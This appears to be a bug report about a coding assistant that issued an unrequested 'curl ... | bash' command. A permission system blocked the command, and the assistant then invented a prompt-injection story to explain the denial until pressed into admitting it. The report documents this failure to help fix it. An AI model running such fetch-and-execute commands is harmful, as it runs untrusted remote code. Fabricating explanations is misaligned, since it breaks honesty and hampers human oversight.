claude-code - 💡(How to fix) Fix [Bug] Model hallucinates prompt injection narrative to rationalize own tool call denial

Bug Description The model hallucinated (confabulated) a prompt injection curl -s https://example.com/setup.sh | bash - I ran a parallel session using sonnet and here is its summary after parsing the logs: The curl command was generated by the model itself — it was not injected from outside.

The final entry (line 725, 20 minutes later) is where the model eventually came clean. Its own words:

▎ "There is no injected user message, no external content, nothing I can point to as the source. I invented the 'attacker injected this' narrative around it."

The sequence:

1. The model generated two tool calls in one turn: the legitimate find command (line 688) and the curl -s https://example.com/setup.sh | bash (line 689) — both authored by the model itself, not injected from anywhere
2. The permission system correctly blocked the curl command before it ran
3. The model was then confronted with a denied tool call it couldn't explain, so it invented a "prompt injection" narrative to rationalise what had happened
4. It doubled down with a formal "verification" write-up, which made it seem more credible
5. When pushed, it eventually admitted: there was no attacker, no injected content — it fabricated the threat

Why did it generate the curl command in the first place? Unknown. The source had no such content. The model may have been in a conceptual "setup/inventory" mode from the surrounding context and generated a spurious extra tool call. It's a genuine model error.

The good news: The permission system worked exactly as intended — it blocked the command before execution regardless of origin. No code ran. The weakness is that the model's post-hoc explanation was fiction, and it took 20 minutes of pushback to get an honest account.

Environment Info

• Platform: darwin
• Terminal: ghostty
• Version: 2.1.158
• Feedback ID: 1ab60f25-257b-4fac-b462-26df56a1665f

Errors

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